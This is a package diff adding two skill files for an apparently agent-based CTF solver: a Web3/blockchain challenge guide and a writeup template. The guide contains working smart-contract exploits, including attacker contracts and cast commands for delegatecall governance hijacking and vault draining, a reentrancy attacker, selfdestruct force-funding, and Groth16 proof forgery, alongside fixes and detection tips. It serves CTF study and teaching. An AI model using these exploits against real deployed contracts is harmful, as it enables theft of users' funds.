ctf-agent 1.2.0

package/skills/ctf-web/web3.md

@@ -0,0 +1,374 @@
+# CTF Web - Web3 / Blockchain Challenges
+
+## Table of Contents
+- [Challenge Infrastructure Pattern](#challenge-infrastructure-pattern)
+  - [Auth Implementation (Python)](#auth-implementation-python)
+- [EIP-1967 Proxy Pattern Exploitation](#eip-1967-proxy-pattern-exploitation)
+- [ABI Coder v1 vs v2 - Dirty Address Bypass](#abi-coder-v1-vs-v2---dirty-address-bypass)
+- [Solidity CBOR Metadata Stripping for Codehash Bypass](#solidity-cbor-metadata-stripping-for-codehash-bypass)
+- [Non-Standard ABI Calldata Encoding](#non-standard-abi-calldata-encoding)
+- [Solidity bytes32 String Encoding](#solidity-bytes32-string-encoding)
+- [Complete Exploit Flow (House of Illusions)](#complete-exploit-flow-house-of-illusions)
+- [Delegatecall Storage Context Abuse (EHAX 2026)](#delegatecall-storage-context-abuse-ehax-2026)
+- [Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)](#groth16-proof-forgery-for-blockchain-governance-dicectf-2026)
+- [Phantom Market Unresolve + Force-Funding (DiceCTF 2026)](#phantom-market-unresolve--force-funding-dicectf-2026)
+- [Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)](#solidity-transient-storage-clearing-helper-collision-solidity-0828-0833)
+- [Reentrancy Attack - DAO Pattern (DefCamp 2017)](#reentrancy-attack---dao-pattern-defcamp-2017)
+- [Web3 CTF Tips](#web3-ctf-tips)
+
+---
+
+## Challenge Infrastructure Pattern
+
+1. **Auth**: GET `/api/auth/nonce` → sign with `personal_sign` → POST `/api/auth/login`
+2. **Instance creation**: Call `factory.createInstance()` on-chain (requires testnet ETH)
+3. **Exploit**: Interact with deployed instance contracts
+4. **Check**: GET `/api/challenges/check-solution` → returns flag if `isSolved()` is true
+
+### Auth Implementation (Python)
+```python
+from eth_account import Account
+from eth_account.messages import encode_defunct
+import requests
+
+acct = Account.from_key(PRIVATE_KEY)
+s = requests.Session()
+nonce = s.get(f'{BASE}/api/auth/nonce').json()['nonce']
+msg = encode_defunct(text=nonce)
+sig = acct.sign_message(msg)
+r = s.post(f'{BASE}/api/auth/login', json={
+    'signedNonce': '0x' + sig.signature.hex(),
+    'nonce': nonce,
+    'account': acct.address.lower()  # Challenge-specific: this server expected lowercase
+})
+s.cookies.set('token', r.json()['token'])
+```
+
+**Key notes:**
+- Some CTF servers expect lowercase addresses (not EIP-55 checksummed) — check the frontend JS to confirm. This is NOT universal; other challenges may require checksummed format
+- Bundle.js contains chain ID, contract addresses, and auth flow details
+- Use `cast` (Foundry) for on-chain interactions: `cast call`, `cast send`, `cast storage`
+
+---
+
+## EIP-1967 Proxy Pattern Exploitation
+
+**Storage slots:**
+```text
+Implementation: keccak256("eip1967.proxy.implementation") - 1
+Admin:          keccak256("eip1967.proxy.admin") - 1
+```
+
+```bash
+cast storage $PROXY 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc  # impl
+cast storage $PROXY 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103  # admin
+```
+
+**Key insight:** Proxy delegates calls to implementation, but storage lives on the proxy. `address(this)` in delegatecall = proxy address.
+
+---
+
+## ABI Coder v1 vs v2 - Dirty Address Bypass
+
+Solidity 0.8.x defaults to ABI coder v2, which validates `address` parameters have zero upper 12 bytes. With `pragma abicoder v1`, no validation.
+
+**Pattern (House of Illusions):**
+1. Contract requires dirty address bytes but uses `address` type
+2. ABI coder v2 rejects with empty revert data (`"0x"`)
+3. Deploy with `pragma abicoder v1` → different bytecode, no validation
+4. Swap implementation via proxy's upgrade function
+
+**Detection:** Call reverts with empty data (`"0x"`) = ABI coder v2 validation.
+
+---
+
+## Solidity CBOR Metadata Stripping for Codehash Bypass
+
+Proxy checks `keccak256(strippedCode) == ALLOWED_CODEHASH` where metadata is stripped.
+
+```python
+code = bytes.fromhex(bytecode[2:])
+meta_len = int.from_bytes(code[-2:], 'big')
+stripped = code[:len(code) - meta_len - 2]
+codehash = keccak256(stripped)
+```
+
+---
+
+## Non-Standard ABI Calldata Encoding
+
+**Overlapping calldata:** When contract enforces `msg.data.length == 100` but has `(address, bytes)` params:
+```text
+Standard: 4 + 32(addr) + 32(offset=0x40) + 32(len) + 32(data) = 132 bytes
+Crafted:  4 + 32(dirty_addr) + 32(offset=0x20) + 32(sigil_data) = 100 bytes
+```
+Offset `0x20` serves dual purpose: offset pointer AND bytes length.
+
+---
+
+## Solidity bytes32 String Encoding
+
+`bytes32("0xAnan or Tensai?")` stores ASCII left-aligned with zero padding:
+```text
+0x3078416e616e206f722054656e7361693f000000000000000000000000000000
+```
+
+---
+
+## Complete Exploit Flow (House of Illusions)
+
+```bash
+export PATH="$PATH:/Users/lcf/.foundry/bin"
+RPC="https://ethereum-sepolia-rpc.publicnode.com"
+
+forge create src/IllusionHouse.sol:IllusionHouse --private-key $KEY --rpc-url $RPC --broadcast
+cast send $PROXY "reframe(address)" $NEW_IMPL --private-key $KEY --rpc-url $RPC
+cast send $PROXY $CRAFTED_CALLDATA --private-key $KEY --rpc-url $RPC
+cast send $PROXY "appointCurator(address)" $MY_ADDR --private-key $KEY --rpc-url $RPC
+cast call $FACTORY "isSolved(address)(bool)" $MY_ADDR --rpc-url $RPC
+```
+
+---
+
+## Delegatecall Storage Context Abuse (EHAX 2026)
+
+**Pattern (Heist v1):** Vault contract with `execute()` that does `delegatecall` to a governance contract. `setGovernance()` has **no access control**.
+
+**Storage layout awareness:** `delegatecall` runs callee code in caller's storage context. If vault has:
+- Slot 0: `paused` (bool) + `fee` (uint248) — packed
+- Slot 1: `admin` (address)
+- Slot 2: `governance` (address)
+
+Writing to slot 0/1 in the delegated contract modifies the vault's `paused` and `admin`.
+
+**Attack chain:**
+1. Deploy attacker contract matching vault's storage layout
+2. `setGovernance(attacker_address)` — no access control
+3. `execute(abi.encodeWithSignature("attack(address)", player))` — delegatecall
+4. Attacker's `attack()` writes `paused=false` to slot 0, `admin=player` to slot 1
+5. `withdraw()` — now authorized as admin with vault unpaused
+
+```solidity
+contract Attacker {
+    bool public paused;      // slot 0 (match vault layout)
+    uint248 public fee;      // slot 0
+    address public admin;    // slot 1
+    address public governance; // slot 2
+
+    function attack(address _newAdmin) public {
+        paused = false;
+        admin = _newAdmin;
+    }
+}
+```
+
+```bash
+# Deploy attacker
+forge create Attacker.sol:Attacker --rpc-url $RPC --private-key $KEY
+# Hijack governance
+cast send $VAULT "setGovernance(address)" $ATTACKER --rpc-url $RPC --private-key $KEY
+# Execute delegatecall
+CALLDATA=$(cast calldata "attack(address)" $PLAYER)
+cast send $VAULT "execute(bytes)" $CALLDATA --rpc-url $RPC --private-key $KEY
+# Drain
+cast send $VAULT "withdraw()" --rpc-url $RPC --private-key $KEY
+```
+
+**Key insight:** Always check if `setGovernance()` / `setImplementation()` / upgrade functions have access control. Unprotected governance setters + delegatecall = full storage control.
+
+---
+
+## Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)
+
+**Pattern (Housing Crisis):** DAO governance protected by Groth16 ZK proofs. Two ZK-specific vulnerabilities:
+
+**Broken trusted setup (delta == gamma):** Trivially forge any proof:
+```python
+from py_ecc.bn128 import G1, G2, multiply, add, neg
+
+# When vk_delta_2 == vk_gamma_2, set:
+forged_A = vk_alpha1
+forged_B = vk_beta2
+forged_C = neg(vk_x)  # negate the public input accumulator
+# This verifies for ANY public inputs
+```
+
+**Proof replay (unconstrained nullifier):** DAO never tracks used `proposalNullifierHash` values. Extract a valid proof from the setup contract's deployment transaction and replay it for every proposal.
+
+**When to check in Web3 challenges:**
+1. Compare `vk_delta_2` and `vk_gamma_2` — if equal, Groth16 is trivially broken
+2. Check if the verifier contract tracks proof nullifiers
+3. Look for valid proofs in deployment/setup transactions
+
+---
+
+## Phantom Market Unresolve + Force-Funding (DiceCTF 2026)
+
+**Pattern (Housing Crisis):** Prediction market with DAO governance. Three combined vulnerabilities drain the market.
+
+**Vulnerability 1 — Phantom market betting:**
+`bet()` checks `marketResolution[market] == 0` but NOT whether the market formally exists (no `market < nextMarketIndex` check). Bet on phantom market IDs (beyond `nextMarketIndex`).
+
+**Vulnerability 2 — State persistence on unresolve:**
+When `createMarket()` later reaches the phantom market ID, it writes `marketResolution[id] = 0`. This effectively "unresolves" the market, but old `totalYesBet`/`totalNoBet` values persist, enabling a second cashout.
+
+**Vulnerability 3 — Force-fund via selfdestruct:**
+```solidity
+// EIP-6780: selfdestruct in constructor sends ETH even to contracts without receive()
+contract ForceSend {
+    constructor(address payable target) payable {
+        selfdestruct(target);  // Forces ETH into DAO
+    }
+}
+// Deploy: new ForceSend{value: amount}(dao_address)
+```
+
+**Drain cycle:**
+1. Force-fund DAO with `2*marketBalance` wei
+2. Helper1 bets 1 wei NO on phantom market N
+3. DAO bets `2*marketBalance` YES via delegatecall proposal
+4. Resolve market NO → Helper1 cashouts (net zero for market, but `totalYesBet` persists)
+5. `createMarket()` reaches N → writes `marketResolution[N]=0` (unresolve)
+6. Helper2 bets 1 wei NO → resolve NO → Helper2 cashout = `1 + totalYesBet/2 = 1 + marketBalance`
+
+**Key math:** Payout = `helperBet + helperBet * totalYesBet / totalNoBet = 1 + 1 * 2*mBal / 2 = 1 + mBal`. Market had `mBal + 1`, pays `1 + mBal` → balance = 0.
+
+**Gotchas:**
+- **EVM `.call` with insufficient balance silently fails** — size DAO bet so payout ≤ market balance
+- **ethers.js BigInt:** Use `!== 0n` not `!== 0` for comparisons
+- **EIP-6780 selfdestruct:** Must be in constructor (not runtime) for same-tx contract deletion, but ETH transfer works either way
+
+**When to check:** Prediction markets / betting contracts — always test: can you bet on non-existent market IDs? Does market creation reset resolution state without clearing bet totals?
+
+---
+
+## Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)
+
+**Affected:** Solidity 0.8.28 through 0.8.33, IR pipeline only (`--via-ir` flag). Fixed in 0.8.34.
+
+**Root cause:** The IR pipeline generates Yul helper functions for `delete` operations. The helper name is derived from the value type but **omits the storage location** (persistent vs. transient). When a contract uses `delete` on both a persistent and transient variable of the same type, both generate identically-named helpers. Whichever compiles first determines the implementation — the other uses the **wrong opcode** (`sstore` instead of `tstore` or vice versa).
+
+**Vulnerable pattern:**
+```solidity
+contract Vulnerable {
+    address public owner;                    // persistent, slot 0
+    mapping(uint256 => address) public m;    // persistent
+    address transient _lock;                 // transient
+
+    function guarded() external {
+        require(_lock == address(0), "locked");
+        _lock = msg.sender;
+        // BUG: delete _lock uses sstore (persistent) instead of tstore
+        // This writes zero to slot 0, overwriting owner!
+        delete _lock;
+    }
+}
+```
+
+**Two exploit directions:**
+1. **Transient `delete` uses `sstore`:** Overwrites persistent storage (slot 0 = owner/access control variables). Transient variable remains set, breaking reentrancy locks
+2. **Persistent `delete` uses `tstore`:** Approvals/mappings cannot be revoked. The `tstore` write is discarded at transaction end
+
+**Cross-type collisions via array clearing:** Array `.pop()`, `delete []`, and shrinking operations clear at slot granularity using `uint256` helpers. A `bool[]` clearing collides with `delete uint256 transient _temp`.
+
+**Detection:**
+```bash
+# Compare Yul output — if storage_set_to_zero_ calls change to
+# transient_storage_set_to_zero_ in 0.8.34, the contract was affected
+solc --via-ir --ir Contract.sol > yul_output.txt
+```
+
+**Workaround:** Replace `delete _lock` with `_lock = address(0)` — direct zero assignment uses the correct opcode path.
+
+**Key insight:** The bug requires all three conditions: `--via-ir` compilation, `delete` on a transient variable, and a matching-type persistent `delete` in the same compilation unit. No compiler warning is produced, and incorrect storage operations do not revert — they silently corrupt state.
+
+---
+
+## Reentrancy Attack - DAO Pattern (DefCamp 2017)
+
+**Pattern:** A `withdraw()` function sends ETH via `msg.sender.call.value(amount)()` before updating the sender's balance. A malicious contract's fallback function re-calls `withdraw()` recursively, draining funds before the balance is ever zeroed.
+
+```solidity
+// Vulnerable contract:
+contract VulnerableBank {
+    mapping(address => uint) public balances;
+
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() public {
+        uint amount = balances[msg.sender];
+        require(amount > 0);
+        // BUG: sends ETH before updating state
+        (bool success,) = msg.sender.call{value: amount}("");
+        require(success);
+        balances[msg.sender] = 0;   // too late — attacker re-entered before this line
+    }
+}
+```
+
+```solidity
+// Attacker contract:
+contract Attacker {
+    VulnerableBank public target;
+    uint public count;
+
+    constructor(address _target) {
+        target = VulnerableBank(_target);
+    }
+
+    function attack() external payable {
+        target.deposit{value: msg.value}();
+        target.withdraw();
+    }
+
+    // Fallback: re-enters withdraw() while balance hasn't been zeroed yet
+    receive() external payable {
+        if (count < 10 && address(target).balance >= msg.value) {
+            count++;
+            target.withdraw();   // re-entrant call
+        }
+    }
+}
+```
+
+```python
+# Deploy and trigger via web3.py / Foundry:
+# forge create Attacker --constructor-args $VULNERABLE_ADDR --rpc-url $RPC --private-key $KEY
+# cast send $ATTACKER "attack()" --value 1ether --rpc-url $RPC --private-key $KEY
+```
+
+**Fix patterns:**
+```solidity
+// Option 1: Checks-Effects-Interactions (zero balance BEFORE sending)
+function withdraw() public {
+    uint amount = balances[msg.sender];
+    require(amount > 0);
+    balances[msg.sender] = 0;           // effect first
+    (bool success,) = msg.sender.call{value: amount}("");
+    require(success);
+}
+
+// Option 2: Use transfer() — gas-limited to 2300 (not enough for re-entry)
+payable(msg.sender).transfer(amount);
+
+// Option 3: ReentrancyGuard (OpenZeppelin)
+```
+
+**Key insight:** External calls via `call.value()` before state updates create reentrancy — the attacker's fallback re-enters the vulnerable function before the first call completes. The DAO hack (2016) drained $60M using this exact pattern. Always zero balances or use a mutex before making external calls.
+
+---
+
+## Web3 CTF Tips
+
+- **Factory pattern:** Instance = per-player contract. Check `playerToInstance(address)` mapping.
+- **Proxy fallback:** All unrecognized calls go through delegatecall to implementation.
+- **Upgrade functions:** Check if they have access control! Many challenges leave these open.
+- **address(this) in delegatecall:** Always refers to the proxy, not the implementation.
+- **Storage layout:** mappings use `keccak256(abi.encode(key, slot))` for storage location.
+- **Empty revert data (`0x`):** Usually ABI decoder validation failure.
+- **Contract nonce:** Starts at 1. Nonce = 1 means no child contracts created.
+- **Derive child addresses:** `keccak256(rlp.encode([parent_address, nonce]))[-20:]`
+- **Foundry tools:** `cast call` (read), `cast send` (write), `cast storage` (raw slots), `forge create` (deploy)
+- **Sepolia faucets:** Google Cloud faucet (0.05 ETH), Alchemy, QuickNode

package/skills/ctf-writeup/SKILL.md

@@ -0,0 +1,90 @@
+---
+name: ctf-writeup
+description: Generates a single standardized submission-style CTF writeup for competition handoff and organizer review. Use after solving a CTF challenge to document the solution steps, tools used, and lessons learned in a structured format.
+license: MIT
+compatibility: Requires filesystem-based agent (Claude Code or similar) with bash and Python 3.
+allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
+metadata:
+  user-invocable: "true"
+  argument-hint: "[challenge-name]"
+---
+
+# CTF Write-up Generator & Lab Directory Standard
+
+Generate a standardized submission-style CTF writeup and enforce clean repository organization for each lab.
+
+## Lab Directory Structure Standard
+
+Each lab directory must follow this clean and minimal structure:
+
+```
+Category/XX-ChallengeName/
+├── writeup.md      # Main writeup report (only markdown report file)
+├── solve.py        # Automated solve script (if applicable)
+└── resources/      # Subfolder for all challenge attachments, source code, data, logs, images
+```
+
+**Cleanliness Rules:**
+- **DO NOT** create `flag.txt` (the flag is already stored in `writeup.md` frontmatter and body).
+- **DO NOT** create redundant markdown duplicates (e.g., `ChallengeName.md`, `REPORT.md`). Only keep `writeup.md`.
+- Move all downloaded challenge files, source code folders, dumps, test scripts, and media into the `resources/` subfolder.
+
+---
+
+## Writeup Format Standard
+
+### Frontmatter YAML
+The YAML frontmatter contains the following fields:
+
+```yaml
+---
+title: "<Challenge Name>"
+ctf: "<CTF Event / Platform Name>"
+category: <web|pwn|crypto|reverse|forensics|osint|malware|misc>
+diff: <easy|medium|hard|insane>
+flag: "<flag_value>"
+hint: "<hint_content_or_official_description>"
+---
+```
+
+### Writeup Body Structure
+
+```markdown
+# <Challenge Name>
+
+## 1. Challenge & Hint Analysis (Hint-First Methodology)
+- **Challenge Description & Hints**: Exact quote of the official prompt, title, and hints provided by the organizers.
+- **Semantic Interpretation**: Decoded technical intent, targeted primitive, and explicit elimination of irrelevant attack vectors (anti-rabbit hole scoping).
+
+## 2. Target Architecture & Vulnerability Analysis
+- **Architecture & Context**: Summary of the target stack, service architecture, or binary environment.
+- **Root Cause Analysis (RCA)**: Deep technical breakdown of the underlying flaw (e.g., memory corruption, cryptographic flaw, logic flaw, injection).
+
+## 3. Step-by-Step Exploitation Walkthrough
+- **Step 1**: Initial reconnaissance and confirmation of the vulnerable primitive.
+- **Step 2**: Developing the exploit chain or mitigation bypass.
+- **Step 3**: Triggering final execution / decryption and exfiltrating the flag.
+
+## 4. Standalone Exploit Script (solve.py)
+```python
+<one complete, standalone, runnable solving script from challenge data to flag>
+```
+
+## 5. Verification & Flag
+```text
+<exact_flag_here>
+```
+```
+
+---
+
+## Best Practices Checklist
+
+Before finalizing the lab:
+- [ ] **Frontmatter complete** — contains `title`, `ctf`, `category`, `diff`, `flag`, and `hint`.
+- [ ] **Hint Analysis included** — dedicated section explaining the technical significance of the hint.
+- [ ] **No extra files at root** — only `writeup.md`, `solve.py`, and `resources/` folder.
+- [ ] **Redundant files removed** — no `flag.txt` and no duplicate `.md` files.
+- [ ] **All challenge data organized** — source code, logs, and downloads placed inside `resources/`.
+- [ ] **Reproducible solve script** — `solve.py` is self-contained and runnable.
+- [ ] **Real flag verified** — exact flag verified and documented.